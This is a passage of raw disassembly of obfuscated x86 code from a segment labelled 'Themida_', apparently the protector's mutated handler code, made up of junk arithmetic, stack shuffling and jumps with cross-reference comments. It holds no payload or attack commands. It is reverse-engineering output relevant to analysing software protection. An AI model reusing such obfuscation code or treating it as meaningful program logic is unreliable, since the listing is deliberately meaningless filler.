; ---------------------------------------------------------------------------


loc_5A2277:				; CODE XREF: Themida_:005ACB1Fj
		xor	ebp, esi
		pop	esi
		xor	ebp, 6F6929EFh
		push	eax
		mov	eax, 77CA7937h
		jmp	loc_5A03C5
; ---------------------------------------------------------------------------


loc_5A228B:				; CODE XREF: Themida_:0059BE08j
		sub	esi, 1
		sub	esi, 16CE6978h
		push	eax
		jmp	loc_5A533C
; ---------------------------------------------------------------------------


loc_5A229D:				; CODE XREF: Themida_:005A0A00j
		mov	ecx, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	eax
		push	edx
		push	esp
		mov	edx, [esp]
		jmp	loc_59E64C
; ---------------------------------------------------------------------------


loc_5A22CD:				; CODE XREF: Themida_:005A50DBj
		add	eax, 4
		add	eax, 4
		jmp	loc_5A9080
; ---------------------------------------------------------------------------


loc_5A22DC:				; CODE XREF: Themida_:005ACC36j
		shl	edx, 1
		jnz	loc_5A78CF
		xor	edx, 8B21CDFFh
		push	ebp
		jmp	loc_5A78DB
; ---------------------------------------------------------------------------
		db 8Ah,	0F6h
; ---------------------------------------------------------------------------
		pop	ecx


loc_5A22F3:				; CODE XREF: Themida_:0059989Bj
					; Themida_:005A95E6j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_5AE1E5
; ---------------------------------------------------------------------------


loc_5A230B:				; CODE XREF: Themida_:00598E80j
		mov	esi, 3F7223E3h
		push	ecx
		mov	ecx, 76E32936h
		mov	eax, 0D8B262E3h
		xor	eax, ecx
		pop	ecx
		sub	eax, esi
		pop	esi
		jmp	loc_5ACA2A
; ---------------------------------------------------------------------------


loc_5A2326:				; CODE XREF: Themida_:0059EF0Cj
		sub	eax, esi
		pop	esi
		sub	eax, 5ADF77EBh
		pop	ebp
		sub	eax, 7FDE0B5Fh
		sub	eax, ebx
		jmp	loc_5A8B1A
; ---------------------------------------------------------------------------


loc_5A233B:				; CODE XREF: Themida_:005A9AE6j
		mov	ecx, 3A822417h
		and	ebp, ecx
		pop	ecx
		sub	ebp, 212E8089h
		mov	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5A82C5
; ---------------------------------------------------------------------------


loc_5A2354:				; CODE XREF: Themida_:0059B258j
					; Themida_:005A86B1j
		add	eax, 0DEF4C324h
		add	ecx, eax
		pop	eax
		jmp	loc_5A1356
; ---------------------------------------------------------------------------


loc_5A2361:				; CODE XREF: Themida_:005A95D7j
		shr	esi, 2
		jnz	loc_59C79C
		jmp	loc_5A6AF3
; ---------------------------------------------------------------------------
		pop	dword ptr [esp]
		jmp	loc_5AE75F
; ---------------------------------------------------------------------------


loc_5A2377:				; CODE XREF: Themida_:005A7CB9j
		sub	ebx, 4DAB1463h
		add	ebx, ecx
		jmp	loc_5A8745
; ---------------------------------------------------------------------------


loc_5A2384:				; CODE XREF: Themida_:005A786Bj
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A238D:				; CODE XREF: Themida_:005A6D9Fj
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		neg	dword ptr [esp]
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A239B:				; CODE XREF: Themida_:005A4681j
		push	eax
		jmp	loc_59E64C
; ---------------------------------------------------------------------------


loc_5A23A1:				; CODE XREF: Themida_:005ACC14j
		push	ebp
		mov	ebp, 4F97294Ch
		not	ebp
		jmp	loc_59BF2B
; ---------------------------------------------------------------------------


loc_5A23AE:				; CODE XREF: Themida_:005A9637j
		mov	cl, 0B7h
		shr	cl, 8
		push	ebx
		mov	bl, 16h
		inc	bl
		sub	bl, 18h
		jmp	loc_59B37F
; ---------------------------------------------------------------------------


loc_5A23C0:				; CODE XREF: Themida_:005AF537j
		push	3848h
		mov	[esp], ebp
		push	7CF9h
		push	esi
		jmp	loc_59948D
; ---------------------------------------------------------------------------


loc_5A23D3:				; CODE XREF: Themida_:005AF22Bj
		push	edx
		mov	edx, 51D06C70h
		mov	esi, 0B499FCECh
		add	esi, edx
		pop	edx
		sub	ebp, 3982AACh
		add	ebp, esi
		add	ebp, 3982AACh
		pop	esi
		jmp	loc_5ABDB3
; ---------------------------------------------------------------------------


loc_5A23F5:				; CODE XREF: Themida_:0059CAABj
		mov	ebp, edi
		pop	edi
		sub	ebp, ebx
		xchg	ebp, ebx
		mov	ebp, [esp]
		add	esp, 4
		sub	ebx, 0E1D6A0D9h
		sub	eax, ebx
		pop	ebx
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A2410:				; CODE XREF: Themida_:005A5F6Aj
		pop	ebp
		push	esi
		xchg	edi, [esp]
		jmp	loc_5A86C7
; ---------------------------------------------------------------------------


loc_5A241A:				; CODE XREF: Themida_:005A95E0j
					; Themida_:005AB989j
		mov	ecx, eax
		pop	eax
		add	esi, ecx
		jmp	loc_5AB04B
; ---------------------------------------------------------------------------


loc_5A2424:				; CODE XREF: Themida_:005A713Ej
		or	eax, 2D00214Fh
		jns	loc_5A40DD
		xchg	eax, edx
		not	edx
		xchg	eax, edx
		push	ebx
		jmp	loc_5A000A
; ---------------------------------------------------------------------------


loc_5A2439:				; CODE XREF: Themida_:005A9007j
					; Themida_:005A99B7j
		xor	ebx, edx
		push	dword ptr [esp]
		pop	edx
		push	ecx
		mov	ecx, esp
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		push	edx
		push	ecx
		push	1F774420h
		pop	ecx
		sub	ecx, 1F77441Ch
		mov	edx, ecx
		jmp	loc_59B546
; ---------------------------------------------------------------------------


loc_5A2460:				; CODE XREF: Themida_:0059F97Aj
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		not	eax
		xchg	eax, [esp]
		pop	ecx
		push	edx
		sub	esp, 4
		mov	[esp], ecx
		pop	edx
		jmp	loc_5A753F
; ---------------------------------------------------------------------------


loc_5A247B:				; CODE XREF: Themida_:005A11D1j
		add	esp, 4
		inc	eax
		js	loc_5AE900
		add	eax, 4CBE5BD6h
		jle	loc_5A08CD
		xor	eax, 17D19C7h
		jmp	loc_5A18AD
; ---------------------------------------------------------------------------


loc_5A249A:				; CODE XREF: Themida_:005A2AE5j
		not	eax
		jmp	loc_5A7496
; ---------------------------------------------------------------------------


loc_5A24A1:				; CODE XREF: Themida_:005A5A6Ej
		push	ebx
		sub	esp, 4
		jmp	loc_5A71FA
; ---------------------------------------------------------------------------


loc_5A24AA:				; CODE XREF: Themida_:005A8D3Dj
		dec	ah
		add	ah, 0CFh
		sub	dl, ah
		jmp	loc_5A6085
; ---------------------------------------------------------------------------


loc_5A24B6:				; CODE XREF: Themida_:005AC75Aj
		mov	[esp], ecx
		mov	ecx, esp
		push	ebx
		push	ecx
		mov	ecx, 6FDD5F1Fh
		mov	ebx, ecx
		pop	ecx
		shl	ebx, 7
		sub	ebx, 66AF417Eh
		add	ebx, 0FFFFFFFFh
		push	edx
		mov	edx, 265542A9h
		dec	edx
		jmp	loc_59EBA8
; ---------------------------------------------------------------------------


loc_5A24DD:				; CODE XREF: Themida_:0059ADF9j
		add	ebx, 4
		push	edx
		push	2
		pop	edx
		jmp	loc_5AF2E4
; ---------------------------------------------------------------------------


loc_5A24EF:				; CODE XREF: Themida_:0059B842j
		mov	[esp], bp
		pop	cx
		pop	bp
		xor	[esp], cx
		xor	cx, [esp]
		jmp	loc_5AD31A
; ---------------------------------------------------------------------------


loc_5A2504:				; CODE XREF: Themida_:005A15ADj
		push	6C450296h
		mov	ebx, [esp]
		add	esp, 4
		and	ebx, 331C0E3Bh
		jp	loc_5A04DF
		push	4F12h
		mov	[esp], edx
		mov	edx, 41787CB0h
		mov	bl, ah


loc_5A252A:				; CODE XREF: Themida_:005A5DFDj
		jmp	loc_59BE4F
; ---------------------------------------------------------------------------


loc_5A252F:				; CODE XREF: Themida_:0059D22Ej
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A2534:				; CODE XREF: Themida_:00599D4Cj
					; Themida_:005A1399j
		mov	ebx, esp
		jmp	loc_5A635F
; ---------------------------------------------------------------------------


loc_5A253B:				; CODE XREF: Themida_:005A1052j
		add	ebx, edi
		pop	edi
		push	ebp
		mov	ebp, 103A39B9h
		sub	ebx, ebp
		pop	ebp
		shl	ebx, 1
		push	edi
		mov	edi, 3E8BFA88h
		xor	ebx, edi
		pop	edi
		add	ebp, ebx
		jmp	loc_59F484
; ---------------------------------------------------------------------------


loc_5A2559:				; CODE XREF: Themida_:005AA8EAj
		neg	ecx
		jmp	loc_59B470
; ---------------------------------------------------------------------------


loc_5A2560:				; CODE XREF: Themida_:005A0065j
		neg	edi
		add	edi, 1FDB4ABAh
		neg	edi
		shl	edi, 6
		xor	edi, 19BFA9CCh
		xor	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5ABD59
; ---------------------------------------------------------------------------


loc_5A2583:				; CODE XREF: Themida_:0059C667j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5AD323
; ---------------------------------------------------------------------------


loc_5A2591:				; CODE XREF: Themida_:005A9C55j
		mov	esi, 5B5C5F62h
		jmp	loc_5A1149
; ---------------------------------------------------------------------------


loc_5A259B:				; CODE XREF: Themida_:005A72C1j
		mov	[esp], eax
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		pop	eax
		push	2837h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_5AD16D
; ---------------------------------------------------------------------------


loc_5A25CF:				; CODE XREF: Themida_:005A4591j
		dec	eax
		jmp	loc_5A2AE3
; ---------------------------------------------------------------------------


loc_5A25D5:				; CODE XREF: Themida_:0059A83Ej
		pop	edx
		push	edx
		mov	edx, 6CC07BF1h
		not	edx
		sub	edx, 329752A9h
		xor	edx, 11977B3Fh
		neg	edx
		push	edi
		mov	edi, 3C860646h
		or	edx, edi
		jmp	loc_5A7716
; ---------------------------------------------------------------------------


loc_5A25F9:				; CODE XREF: Themida_:005AE694j
		mov	ebp, [esp]
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		shr	dword ptr [esp], cl
		pushf
		jmp	loc_59896D
; ---------------------------------------------------------------------------


loc_5A260E:				; CODE XREF: Themida_:005A7B77j
		add	esp, 4
		and	edx, 72402FB0h
		neg	edx
		jge	loc_59A201
		neg	edx
		jl	loc_5A7C89
		xor	edx, 1DAC4504h
		jl	loc_59ED3C
		push	ecx
		mov	ecx, 17345904h
		xor	ecx, 48981716h
		sub	edx, ecx
		pop	ecx
		jmp	loc_59FED5
; ---------------------------------------------------------------------------


loc_5A264A:				; CODE XREF: Themida_:0059998Ej
		push	edx
		mov	edx, 4
		jmp	loc_5AA14F
; ---------------------------------------------------------------------------


loc_5A2655:				; CODE XREF: Themida_:005ADD7Aj
		shl	ecx, 2
		or	ecx, 385D2157h
		sub	ecx, 31F3255Dh
		shr	ecx, 7
		shl	ecx, 2
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 3B1A1729h
		jmp	loc_5AC125
; ---------------------------------------------------------------------------


loc_5A267A:				; CODE XREF: Themida_:0059A70Dj
		pop	esp
		idiv	cl
		movzx	cx, ah
		push	small 456Ch
		mov	[esp], cx
		jmp	loc_59FA90
; ---------------------------------------------------------------------------


loc_5A268E:				; CODE XREF: Themida_:00598B97j
		xor	dh, 97h
		push	eax
		push	ebx
		mov	bl, 2Ah
		jmp	loc_5A457D
; ---------------------------------------------------------------------------


loc_5A269A:				; CODE XREF: Themida_:005AC930j
		pop	esi
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_59A3AF
; ---------------------------------------------------------------------------


loc_5A26BC:				; CODE XREF: Themida_:005A100Bj
		mov	ch, al
		jmp	loc_5AED2B
; ---------------------------------------------------------------------------
		lodsd
		cmp	dword ptr [edi+20h], 0
		jz	loc_59A51C
		push	4825h
		mov	[esp], ecx
		push	33E5h
		mov	[esp], ebx
		push	edx
		jmp	loc_5AB04B
; ---------------------------------------------------------------------------


loc_5A26E4:				; CODE XREF: Themida_:005A83FFj
		sub	edi, eax
		pop	eax
		add	eax, 122D24E4h
		sub	esp, 4
		jmp	loc_59AEAE
; ---------------------------------------------------------------------------


loc_5A26F7:				; CODE XREF: Themida_:005A64DFj
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		jmp	loc_5A1057
; ---------------------------------------------------------------------------


loc_5A2702:				; CODE XREF: Themida_:005A3345j
		push	ebx
		jmp	loc_5ADFDE
; ---------------------------------------------------------------------------


loc_5A2708:				; CODE XREF: Themida_:loc_5A1D19j
		or	ebp, 235E75F5h
		jb	loc_5A4EB8
		or	ebp, 568A3A16h
		jmp	loc_598926
; ---------------------------------------------------------------------------


loc_5A271F:				; CODE XREF: Themida_:005AD3A2j
		mov	ecx, ebx
		pop	ebx
		jmp	loc_5AB275
; ---------------------------------------------------------------------------


loc_5A2727:				; CODE XREF: Themida_:0059D059j
		mov	[esp], ebx
		mov	ebx, esp
		push	esi
		push	ecx
		jmp	loc_5ADEBC
; ---------------------------------------------------------------------------


loc_5A2733:				; CODE XREF: Themida_:0059CBCDj
		mov	ebx, 6C6B78BBh
		push	ecx
		push	esi
		mov	esi, 6C685978h
		mov	ecx, 1C624119h
		xor	ecx, esi
		pop	esi
		or	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	ebx, 2B42075Ch
		push	ecx
		mov	ecx, 1D8E7F65h
		sub	ebx, ecx
		jmp	loc_5A63E9
; ---------------------------------------------------------------------------


loc_5A2765:				; CODE XREF: Themida_:005A3874j
		add	eax, edx
		pop	edx
		push	edx
		mov	edx, 2
		sub	eax, 24216405h
		add	eax, edx
		add	eax, 24216405h
		pop	edx
		push	esi
		sub	esp, 4
		mov	[esp], esp
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		jmp	loc_5AA2E6
; ---------------------------------------------------------------------------


loc_5A2794:				; CODE XREF: Themida_:0059FF9Fj
		neg	esi
		jmp	loc_5A194F
; ---------------------------------------------------------------------------


loc_5A279B:				; CODE XREF: Themida_:0059C69Dj
					; Themida_:005A64D9j
		mov	[esp], eax
		push	small 333Eh
		jmp	loc_5ADA93
; ---------------------------------------------------------------------------


loc_5A27A7:				; CODE XREF: Themida_:0059B81Fj
					; Themida_:005AF03Bj
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		mov	ecx, 7E26D15h
		mov	eax, 33A7232Ah
		xor	eax, ecx
		pop	ecx
		push	ecx
		jmp	loc_5ADDF3
; ---------------------------------------------------------------------------


loc_5A27C8:				; CODE XREF: Themida_:005AC2ECj
		popf
		retn
; ---------------------------------------------------------------------------
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A27CF:				; CODE XREF: Themida_:00599D36j
		push	esi
		jmp	loc_59AA1F
; ---------------------------------------------------------------------------


loc_5A27D5:				; CODE XREF: Themida_:005A0D3Bj
		add	ebx, 241709ACh
		add	ebx, eax
		push	eax
		mov	eax, 7500022Eh
		or	eax, 4FF00E88h
		add	eax, 0A3411CAh
		or	eax, 5D693DF2h
		sub	eax, 297819C7h
		neg	eax
		add	eax, 0DA0C2DDFh
		sub	ebx, eax
		pop	eax
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_59B95D
; ---------------------------------------------------------------------------


loc_5A280C:				; CODE XREF: Themida_:005A416Dj
		sub	ebp, 15660F92h
		jbe	loc_59AC46
		jmp	loc_5A64F0
; ---------------------------------------------------------------------------


loc_5A281D:				; CODE XREF: Themida_:0059C758j
		push	ecx
		mov	ecx, 4
		jmp	loc_59A7BF
; ---------------------------------------------------------------------------


loc_5A2828:				; CODE XREF: Themida_:loc_5AB91Fj
		push	ecx
		mov	ecx, 54AD5F2Fh
		inc	ecx
		jmp	loc_5A061F
; ---------------------------------------------------------------------------


loc_5A2834:				; CODE XREF: Themida_:005AD57Dj
		add	esp, 4
		add	esi, 44583827h
		push	7BB5h
		mov	[esp], eax
		mov	eax, 13F173C8h
		or	esi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59B2E0
; ---------------------------------------------------------------------------


loc_5A2857:				; CODE XREF: Themida_:005A5B20j
		shl	eax, 4
		inc	eax
		add	eax, 1415B350h
		sub	edi, 1E29162Bh
		add	edi, eax
		add	edi, 1E29162Bh
		pop	eax
		add	edi, esi
		sub	edi, 17187561h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	esi
		mov	esi, 400E7AE1h
		xor	esi, 59FB0757h
		jmp	loc_5A7D73
; ---------------------------------------------------------------------------


loc_5A2892:				; CODE XREF: Themida_:005A5EA3j
		shr	eax, 7
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0B837B937h
		add	eax, 463D2D78h
		sub	eax, edi
		sub	eax, 463D2D78h
		push	dword ptr [esp]
		pop	edi
		push	edx
		mov	edx, esp
		push	eax
		push	ebx
		mov	ebx, 4
		mov	eax, ebx
		jmp	loc_5A9900
; ---------------------------------------------------------------------------


loc_5A28C4:				; CODE XREF: Themida_:005ACF67j
		xchg	eax, esi
		jmp	loc_59883D
; ---------------------------------------------------------------------------


loc_5A28CA:				; CODE XREF: Themida_:005A9298j
		mov	[esp], edx
		push	ebx
		push	ecx
		mov	cl, 6Bh
		push	eax
		mov	al, 5Bh
		and	cl, al
		pop	eax
		not	cl
		jmp	loc_5A4F90
; ---------------------------------------------------------------------------


loc_5A28DE:				; CODE XREF: Themida_:0059DC56j
		mov	eax, 220E185Bh
		push	edx
		mov	edx, 518657Dh
		jmp	loc_5AEAD0
; ---------------------------------------------------------------------------


loc_5A28EE:				; CODE XREF: Themida_:00599B29j
		mov	ebp, 26A92879h
		shr	ebp, 1
		push	ecx
		mov	ecx, 59FF36BFh
		jmp	loc_599F7A
; ---------------------------------------------------------------------------


loc_5A2900:				; CODE XREF: Themida_:005A929Ej
		mov	ebx, 3B5365A7h
		xor	ebx, 6DD916C5h
		and	ebx, 174E76F0h
		xor	ebx, 7B0C074Fh
		jmp	loc_5AB44F
; ---------------------------------------------------------------------------


loc_5A291C:				; CODE XREF: Themida_:0059AC11j
		pop	eax
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		pop	edx
		xor	ebx, [esp]
		jmp	loc_5A44D3
; ---------------------------------------------------------------------------


loc_5A2931:				; CODE XREF: Themida_:0059BE74j
		pop	ecx
		mov	ecx, 0A84998ABh
		add	ecx, eax
		jmp	loc_5A2AEA
; ---------------------------------------------------------------------------


loc_5A293E:				; CODE XREF: Themida_:005A4F7Cj
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		jmp	loc_59CECC
; ---------------------------------------------------------------------------


loc_5A2950:				; CODE XREF: Themida_:005A988Fj
		add	edx, 4
		jmp	loc_5AB812
; ---------------------------------------------------------------------------


loc_5A295B:				; CODE XREF: Themida_:005A425Bj
		add	ecx, edi
		pop	edi
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		pop	edi
		or	ecx, 5F34051Dh
		jmp	loc_5AD7E7
; ---------------------------------------------------------------------------


loc_5A297C:				; CODE XREF: Themida_:005A0BC0j
		pop	eax
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A2982:				; CODE XREF: Themida_:0059DB97j
		push	dword ptr [esp]
		pop	ecx
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	ebx
		mov	ebx, 35D85D67h
		dec	ebx
		and	ebx, 72984BB5h
		sub	ebx, 7CD140C3h
		sub	ebx, 0B3C7085Dh
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		pop	esp
		push	edi
		mov	edi, 1E9723F2h
		not	edi
		neg	edi
		sub	edi, 6D217378h
		dec	edi
		shr	edi, 2
		add	edi, 2BDC0B9Ah
		sub	ecx, edi
		jmp	loc_5A1F71
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_5A5F91
; ---------------------------------------------------------------------------


loc_5A29DB:				; CODE XREF: Themida_:005A8F55j
		push	esp
		pop	ecx
		add	ecx, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		sub	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	ebp
		jmp	loc_59C3DF
; ---------------------------------------------------------------------------


loc_5A2A08:				; CODE XREF: Themida_:0059F385j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_5AAB38
; ---------------------------------------------------------------------------


loc_5A2A21:				; CODE XREF: Themida_:0059893Bj
		mov	ebp, [esp]
		add	esp, 4
		pop	esi
		push	7890h
		jmp	loc_5A652D
; ---------------------------------------------------------------------------


loc_5A2A32:				; CODE XREF: Themida_:005A8200j
		sub	ebp, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	421Bh
		mov	[esp], edi
		jmp	loc_5AE721
; ---------------------------------------------------------------------------


loc_5A2A57:				; CODE XREF: Themida_:005A3C6Bj
		pop	edi
		mov	esi, 6C7854ADh
		xor	esi, edi
		pop	edi
		jmp	loc_5A21CF
; ---------------------------------------------------------------------------


loc_5A2A65:				; CODE XREF: Themida_:0059F1B4j
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	al, 6Fh
		add	al, bh
		sub	al, 6Fh
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 65h
		inc	ch
		add	ch, 0CAh
		and	ch, 4Fh
		add	ch, 0DAh
		xor	ch, 0A8h
		sub	al, ch
		pop	ecx
		pop	bx
		jmp	loc_5ACC5B
; ---------------------------------------------------------------------------


loc_5A2A97:				; CODE XREF: Themida_:0059DCBBj
					; Themida_:0059F883j
		push	edx
		mov	edx, 6D6E220Bh
		shl	edx, 7
		jmp	loc_5A1B61
; ---------------------------------------------------------------------------


loc_5A2AA5:				; CODE XREF: Themida_:005A439Fj
		sub	eax, ebx
		pop	ebx
		push	esi
		jmp	loc_5ABBFD
; ---------------------------------------------------------------------------


loc_5A2AAE:				; CODE XREF: Themida_:005A3830j
		mov	ebx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	edx
		mov	edx, 738C277Dh
		shl	edx, 3
		push	edx
		not	dword ptr [esp]
		pop	edx
		neg	edx
		dec	edx
		not	edx
		add	edx, 0CBE9960Eh
		xor	ebx, edx
		pop	edx
		jmp	loc_5A5EFF
; ---------------------------------------------------------------------------


loc_5A2AD8:				; CODE XREF: Themida_:0059AC88j
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_5A7082
; ---------------------------------------------------------------------------


loc_5A2AE3:				; CODE XREF: Themida_:005A25D0j
		neg	eax
		jmp	loc_5A249A
; ---------------------------------------------------------------------------


loc_5A2AEA:				; CODE XREF: Themida_:0059F195j
					; Themida_:005A2939j
		pop	eax
		jmp	loc_5AADBB
; ---------------------------------------------------------------------------


loc_5A2AF0:				; CODE XREF: Themida_:0059F308j
		push	esi
		jmp	loc_5A75AB
; ---------------------------------------------------------------------------


loc_5A2AF6:				; CODE XREF: Themida_:0059FA97j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A2AFB:				; CODE XREF: Themida_:005AF3A3j
		add	ecx, 1CE1ED44h
		mov	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5AA478
; ---------------------------------------------------------------------------


loc_5A2B11:				; CODE XREF: Themida_:0059BE1Fj
		push	eax
		jmp	loc_5A891B
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp], eax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		pop	small word ptr [edx]
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A2B2D:				; CODE XREF: Themida_:005A2DD6j
					; Themida_:005A967Dj
		mov	eax, esp
		add	eax, 4
		jmp	loc_5A144A
; ---------------------------------------------------------------------------


loc_5A2B39:				; CODE XREF: Themida_:0059E6EEj
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5ACE87
; ---------------------------------------------------------------------------


loc_5A2B46:				; CODE XREF: Themida_:loc_59E8A7j
		sub	edi, 13CDFDA0h
		mov	esi, edi
		pop	edi
		sub	esp, 4
		jmp	loc_5A9453
; ---------------------------------------------------------------------------


loc_5A2B5A:				; CODE XREF: Themida_:0059BC56j
		xor	al, bl
		jmp	loc_5AA49F
; ---------------------------------------------------------------------------


loc_5A2B61:				; CODE XREF: Themida_:0059F438j
					; Themida_:005AF1F8j
		sub	ebx, 27954C3Eh
		pop	edi
		sub	esp, 4
		jmp	loc_5ABDEB
; ---------------------------------------------------------------------------


loc_5A2B70:				; CODE XREF: Themida_:005A2FDBj
		pop	ebp
		sub	edx, 0FDA72E1h
		push	edx
		xchg	edx, [esp]
		not	edx
		xchg	edx, [esp]
		pop	edx
		jmp	loc_59EB95
; ---------------------------------------------------------------------------


loc_5A2B86:				; CODE XREF: Themida_:0059D2C3j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A2B8F:				; CODE XREF: Themida_:loc_59DFBBj
		sub	ebp, 5B4D5506h
		jmp	loc_5A1F8D
; ---------------------------------------------------------------------------


loc_5A2B9A:				; CODE XREF: Themida_:0059A772j
		pop	edi
		add	ebp, eax
		push	edi
		jmp	loc_59FFBB
; ---------------------------------------------------------------------------


loc_5A2BA3:				; CODE XREF: Themida_:005A3905j
		mov	dl, 0A2h
		sub	bl, 41h
		jmp	loc_5ACFFD
; ---------------------------------------------------------------------------


loc_5A2BAD:				; CODE XREF: Themida_:0059EB2Aj
					; Themida_:005AEDAFj
		add	edi, ebx
		sub	edi, 1FFE511Eh
		pop	ebx
		mov	ecx, [esp]
		jmp	loc_5A5BA2
; ---------------------------------------------------------------------------


loc_5A2BBE:				; CODE XREF: Themida_:0059DFE6j
		push	edx
		mov	edx, 4FB0602Ah
		sub	[esp+8], edx
		pop	edx
		add	[esp+4], ebx
		add	dword ptr [esp+4], 4FB0602Ah
		add	dword ptr [esp+4], 1AF52AF8h
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_5A856F
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_59CD9A
; ---------------------------------------------------------------------------


loc_5A2BF0:				; CODE XREF: Themida_:005AD573j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		sub	ebx, 0EE510F5Ch
		jmp	loc_59B85E
; ---------------------------------------------------------------------------


loc_5A2C0A:				; CODE XREF: Themida_:005AB8CDj
		mov	edx, 4
		mov	esi, edx
		mov	edx, [esp]
		jmp	loc_5ACF18
; ---------------------------------------------------------------------------


loc_5A2C19:				; CODE XREF: Themida_:0059EC00j
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_59C944
; ---------------------------------------------------------------------------


loc_5A2C28:				; CODE XREF: Themida_:005A8CA4j
					; Themida_:005AA048j ...
		mov	edi, [esp]
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A5BEB
; ---------------------------------------------------------------------------


loc_5A2C40:				; CODE XREF: Themida_:0059D7AAj
		neg	dl
		jmp	loc_5A8CB8
; ---------------------------------------------------------------------------


loc_5A2C47:				; CODE XREF: Themida_:005A8F71j
		mov	cl, 5Ch
		xor	dh, cl
		pop	ecx
		jmp	loc_59932D
; ---------------------------------------------------------------------------


loc_5A2C51:				; CODE XREF: Themida_:005995B9j
		sub	[esp+4], eax
		push	ebx
		mov	ebx, 1AE846F8h
		sub	[esp+8], ebx
		pop	ebx
		push	ebp
		jmp	loc_5A65EB
; ---------------------------------------------------------------------------


loc_5A2C66:				; CODE XREF: Themida_:005A3BA8j
		shr	esi, 2
		xor	esi, 24BF390Bh
		sub	esi, 7E1327D7h
		xor	esi, 829B2A2Ah
		sub	ebp, esi
		pop	esi
		jmp	loc_5AD800
; ---------------------------------------------------------------------------


loc_5A2C83:				; CODE XREF: Themida_:005A1CFFj
		dec	esi
		jns	loc_5A5EDB
		shr	esi, 5
		jnz	loc_5AAE89
		mov	al, bl
		lodsb
		xor	al, bl
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	6749h
		jmp	loc_598940
; ---------------------------------------------------------------------------


loc_5A2CAA:				; CODE XREF: Themida_:005A7A92j
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	62DCh
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_5AA721
; ---------------------------------------------------------------------------


loc_5A2CCC:				; CODE XREF: Themida_:005A6CC1j
		inc	ecx
		not	ecx
		jmp	loc_5A035F
; ---------------------------------------------------------------------------


loc_5A2CD4:				; CODE XREF: Themida_:005A54CFj
		pop	ecx
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebx
